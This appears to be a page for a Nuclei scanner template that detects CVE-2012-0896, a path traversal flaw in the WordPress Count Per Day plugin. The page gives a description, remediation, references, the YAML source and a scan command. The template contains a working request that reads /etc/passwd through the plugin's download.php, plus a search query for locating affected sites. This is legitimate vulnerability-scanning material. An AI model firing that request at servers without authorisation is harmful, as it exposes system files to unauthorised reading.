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Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access

ID: CVE-2012-0896

Severity: medium

Author: daffainfo

Tags: cve,cve2012,packetstorm,lfi,wordpress,wp-plugin,traversal,count_per_day_project

Description

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An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.

YAML Source

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id: CVE-2012-0896


info:
  name: Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access
  author: daffainfo
  severity: medium
  description: An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further compromise of the system.
  remediation: |
    Upgrade to a patched version of the Count Per Day plugin (version 3.2 or above) or apply the vendor-supplied patch to fix the path traversal vulnerability.
  reference:
    - https://packetstormsecurity.com/files/108631/
    - http://plugins.trac.wordpress.org/changeset/488883/count-per-day
    - https://https://nvd.nist.gov/vuln/detail/CVE-2012-0896
    - http://wordpress.org/extend/plugins/count-per-day/changelog/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72385
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-0896
    cwe-id: CWE-22
    epss-score: 0.01844
    epss-percentile: 0.883
    cpe: cpe:2.3:a:count_per_day_project:count_per_day:2.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: count_per_day_project
    product: count_per_day
    google-query: inurl:"/wp-content/plugins/count-per-day"
  tags: cve,cve2012,packetstorm,lfi,wordpress,wp-plugin,traversal,count_per_day_project


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a0046304402201f013765f17ee876af22ead30f83a1c24170c2766cd6357374b03106fd82a09102200ffc9df0dc31b1a2db500b12fc27c0f3e4f20d281327309b568ca7d9ec02c741:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

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This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-0896.yaml"

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